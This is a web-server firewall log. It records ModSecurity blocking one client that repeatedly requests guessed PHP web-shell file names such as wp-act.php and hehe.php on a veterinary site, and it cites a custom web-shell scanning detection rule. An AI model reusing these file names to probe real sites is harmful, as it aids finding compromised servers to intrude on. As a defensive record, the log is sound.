[Tue Mar 31 10:40:51.966395 2026] [:error] [pid 36892:tid 36956] [client 158.158.51.236:43683] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "acs0M0yj9S4G0ek3O4LxowAAAIU"]
[Tue Mar 31 10:40:55.275026 2026] [:error] [pid 36890:tid 36917] [client 158.158.51.236:28841] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "acs0N58FASPd_uH8z7d1FQAAABY"]
[Tue Mar 31 10:40:56.704760 2026] [:error] [pid 36891:tid 36925] [client 158.158.51.236:41449] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx78.php"] [unique_id "acs0OJJhiMaJUqoqfl5QsQAAAEE"]
[Tue Mar 31 10:40:59.346810 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:44813] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "acs0O_lMmeoQKN0r_GPcNQAAANI"]
[Tue Mar 31 10:41:01.198937 2026] [:error] [pid 6548:tid 6551] [client 158.158.51.236:17575] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "acs0PbgIz9HgMl9YwE7MdwAAAUE"]
[Tue Mar 31 10:41:01.931439 2026] [:error] [pid 36982:tid 36987] [client 158.158.51.236:28813] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "acs0PflMmeoQKN0r_GPcOQAAAMI"]
[Tue Mar 31 10:41:03.372403 2026] [:error] [pid 36982:tid 36986] [client 158.158.51.236:27815] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "acs0P_lMmeoQKN0r_GPcPgAAAME"]
[Tue Mar 31 10:41:04.353853 2026] [:error] [pid 36892:tid 36966] [client 158.158.51.236:24210] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "acs0QEyj9S4G0ek3O4LxqAAAAI8"]
[Tue Mar 31 10:41:05.430496 2026] [:error] [pid 6548:tid 6559] [client 158.158.51.236:28811] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "acs0QbgIz9HgMl9YwE7MfwAAAUk"]
[Tue Mar 31 10:41:06.429106 2026] [:error] [pid 36982:tid 36990] [client 158.158.51.236:23256] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "acs0QvlMmeoQKN0r_GPcSQAAAMU"]
[Tue Mar 31 10:41:07.759903 2026] [:error] [pid 6548:tid 6556] [client 158.158.51.236:4704] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "acs0Q7gIz9HgMl9YwE7MhwAAAUY"]
[Tue Mar 31 10:41:08.637159 2026] [:error] [pid 36982:tid 36999] [client 158.158.51.236:27778] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acs0RPlMmeoQKN0r_GPcTgAAAM4"]
[Tue Mar 31 10:41:10.053359 2026] [:error] [pid 36982:tid 37006] [client 158.158.51.236:27807] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acs0RvlMmeoQKN0r_GPcUQAAANU"]
[Tue Mar 31 10:41:11.164887 2026] [:error] [pid 36890:tid 36901] [client 158.158.51.236:18093] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acs0R58FASPd_uH8z7d1JQAAAAY"]
[Tue Mar 31 10:41:12.841449 2026] [:error] [pid 36891:tid 36932] [client 158.158.51.236:18106] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acs0SJJhiMaJUqoqfl5QwAAAAEg"]
[Tue Mar 31 10:41:14.290794 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:44332] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "acs0SvlMmeoQKN0r_GPcYgAAANI"]
[Tue Mar 31 10:41:15.417433 2026] [:error] [pid 41421:tid 41434] [client 158.158.51.236:62936] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "acs0SxSaDjY9kKFtUQClNAAAAQo"]
[Tue Mar 31 10:41:17.455247 2026] [:error] [pid 36892:tid 36965] [client 158.158.51.236:39768] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "acs0TUyj9S4G0ek3O4LxtgAAAI4"]
[Tue Mar 31 10:41:18.932438 2026] [:error] [pid 6548:tid 6551] [client 158.158.51.236:4699] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "acs0TrgIz9HgMl9YwE7MnwAAAUE"]
[Tue Mar 31 10:41:20.266089 2026] [:error] [pid 41421:tid 41440] [client 158.158.51.236:23246] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "acs0UBSaDjY9kKFtUQClOgAAARA"]
[Tue Mar 31 10:41:21.325635 2026] [:error] [pid 36982:tid 37004] [client 158.158.51.236:18627] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "acs0UflMmeoQKN0r_GPccwAAANM"]
[Tue Mar 31 10:43:18.927412 2026] [:error] [pid 36891:tid 36942] [client 158.158.51.236:53638] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acs0xpJhiMaJUqoqfl5Q_gAAAFI"]
[Tue Mar 31 10:43:19.559885 2026] [:error] [pid 36890:tid 36914] [client 158.158.51.236:37047] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acs0x58FASPd_uH8z7d1fAAAABM"]
[Tue Mar 31 10:43:20.184568 2026] [:error] [pid 36892:tid 36958] [client 158.158.51.236:17134] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acs0yEyj9S4G0ek3O4LyFgAAAIc"]
[Tue Mar 31 10:43:20.955441 2026] [:error] [pid 36982:tid 37003] [client 158.158.51.236:56717] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lowpr.php"] [unique_id "acs0yPlMmeoQKN0r_GPdqQAAANI"]
[Tue Mar 31 10:43:21.627180 2026] [:error] [pid 6548:tid 6566] [client 158.158.51.236:31032] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "acs0ybgIz9HgMl9YwE7NjwAAAVA"]
[Tue Mar 31 10:43:22.170018 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:37094] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "acs0yhSaDjY9kKFtUQClrQAAAQI"]
[Tue Mar 31 10:43:22.779998 2026] [:error] [pid 36890:tid 36911] [client 158.158.51.236:31013] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "acs0yp8FASPd_uH8z7d1gwAAABA"]
[Tue Mar 31 10:43:23.528762 2026] [:error] [pid 41421:tid 41431] [client 158.158.51.236:61597] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b.php"] [unique_id "acs0yxSaDjY9kKFtUQClsgAAAQc"]
[Tue Mar 31 10:43:24.261097 2026] [:error] [pid 41421:tid 41433] [client 158.158.51.236:37069] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "acs0zBSaDjY9kKFtUQClswAAAQk"]
[Tue Mar 31 10:43:26.342652 2026] [:error] [pid 41421:tid 41448] [client 158.158.51.236:42940] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "acs0zhSaDjY9kKFtUQClvQAAARg"]
[Tue Mar 31 10:43:28.941075 2026] [:error] [pid 41421:tid 41448] [client 158.158.51.236:42935] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "acs00BSaDjY9kKFtUQClyQAAARg"]
[Tue Mar 31 10:43:32.136003 2026] [:error] [pid 36982:tid 37002] [client 158.158.51.236:56738] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "acs01PlMmeoQKN0r_GPdtwAAANE"]
[Tue Mar 31 10:43:34.338208 2026] [:error] [pid 36891:tid 36938] [client 158.158.51.236:54705] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "acs01pJhiMaJUqoqfl5RCgAAAE4"]
[Tue Mar 31 10:43:35.295158 2026] [:error] [pid 6548:tid 6568] [client 158.158.51.236:29815] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "acs017gIz9HgMl9YwE7NnQAAAVI"]
[Tue Mar 31 10:43:36.119007 2026] [:error] [pid 6548:tid 6557] [client 158.158.51.236:29798] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "acs02LgIz9HgMl9YwE7NoQAAAUc"]
[Tue Mar 31 10:43:36.905156 2026] [:error] [pid 6548:tid 6552] [client 158.158.51.236:20115] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/domains.php"] [unique_id "acs02LgIz9HgMl9YwE7NpAAAAUI"]
[Tue Mar 31 10:43:38.049767 2026] [:error] [pid 36892:tid 36954] [client 158.158.51.236:34675] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "acs02kyj9S4G0ek3O4LyKwAAAIM"]
[Tue Mar 31 10:43:38.861599 2026] [:error] [pid 36892:tid 36970] [client 158.158.51.236:29816] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "acs02kyj9S4G0ek3O4LyLgAAAJM"]
[Tue Mar 31 10:43:39.633687 2026] [:error] [pid 36892:tid 36963] [client 158.158.51.236:16612] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "acs020yj9S4G0ek3O4LyMwAAAIw"]
[Tue Mar 31 10:43:40.939448 2026] [:error] [pid 6548:tid 6565] [client 158.158.51.236:28369] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws85.php"] [unique_id "acs03LgIz9HgMl9YwE7NswAAAU8"]
[Tue Mar 31 10:43:41.566481 2026] [:error] [pid 6548:tid 6567] [client 158.158.51.236:30993] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acs03bgIz9HgMl9YwE7NtgAAAVE"]
[Tue Mar 31 10:43:42.201551 2026] [:error] [pid 36982:tid 37000] [client 158.158.51.236:22693] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acs03vlMmeoQKN0r_GPd1QAAAM8"]
[Tue Mar 31 10:43:43.189497 2026] [:error] [pid 41421:tid 41435] [client 158.158.51.236:22693] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acs03xSaDjY9kKFtUQCl3gAAAQs"]
[Tue Mar 31 10:43:43.781167 2026] [:error] [pid 41421:tid 41447] [client 158.158.51.236:33435] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acs03xSaDjY9kKFtUQCl4AAAARc"]
[Tue Mar 31 10:43:44.559602 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:22700] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "acs04PlMmeoQKN0r_GPd2gAAAMY"]
[Tue Mar 31 10:43:45.479778 2026] [:error] [pid 6548:tid 6561] [client 158.158.51.236:33413] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "acs04bgIz9HgMl9YwE7NugAAAUs"]
[Tue Mar 31 10:43:46.178712 2026] [:error] [pid 36892:tid 36963] [client 158.158.51.236:16579] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "acs04kyj9S4G0ek3O4LyOwAAAIw"]
[Tue Mar 31 10:43:46.996771 2026] [:error] [pid 36982:tid 36993] [client 158.158.51.236:55628] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hehe.php"] [unique_id "acs04vlMmeoQKN0r_GPd5gAAAMg"]
[Tue Mar 31 10:43:47.581442 2026] [:error] [pid 36890:tid 36897] [client 158.158.51.236:34657] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs0458FASPd_uH8z7d1lgAAAAI"]
[Tue Mar 31 10:43:48.503799 2026] [:error] [pid 36891:tid 36927] [client 158.158.51.236:31038] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs05JJhiMaJUqoqfl5RFQAAAEM"]
[Tue Mar 31 10:43:49.375455 2026] [:error] [pid 36982:tid 36994] [client 158.158.51.236:46951] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs05flMmeoQKN0r_GPd7wAAAMk"]
[Tue Mar 31 10:43:50.346453 2026] [:error] [pid 41421:tid 41424] [client 158.158.51.236:31007] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "acs05hSaDjY9kKFtUQCl4wAAAQA"]
[Tue Mar 31 10:43:51.471293 2026] [:error] [pid 36890:tid 36904] [client 158.158.51.236:28361] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acs0558FASPd_uH8z7d1oAAAAAk"]
[Tue Mar 31 10:43:53.843391 2026] [:error] [pid 36982:tid 37005] [client 158.158.51.236:28411] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acs06flMmeoQKN0r_GPd_wAAANQ"]
[Tue Mar 31 10:43:59.838576 2026] [:error] [pid 36890:tid 36901] [client 158.158.51.236:46953] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ne2026.php"] [unique_id "acs0758FASPd_uH8z7d1tQAAAAY"]
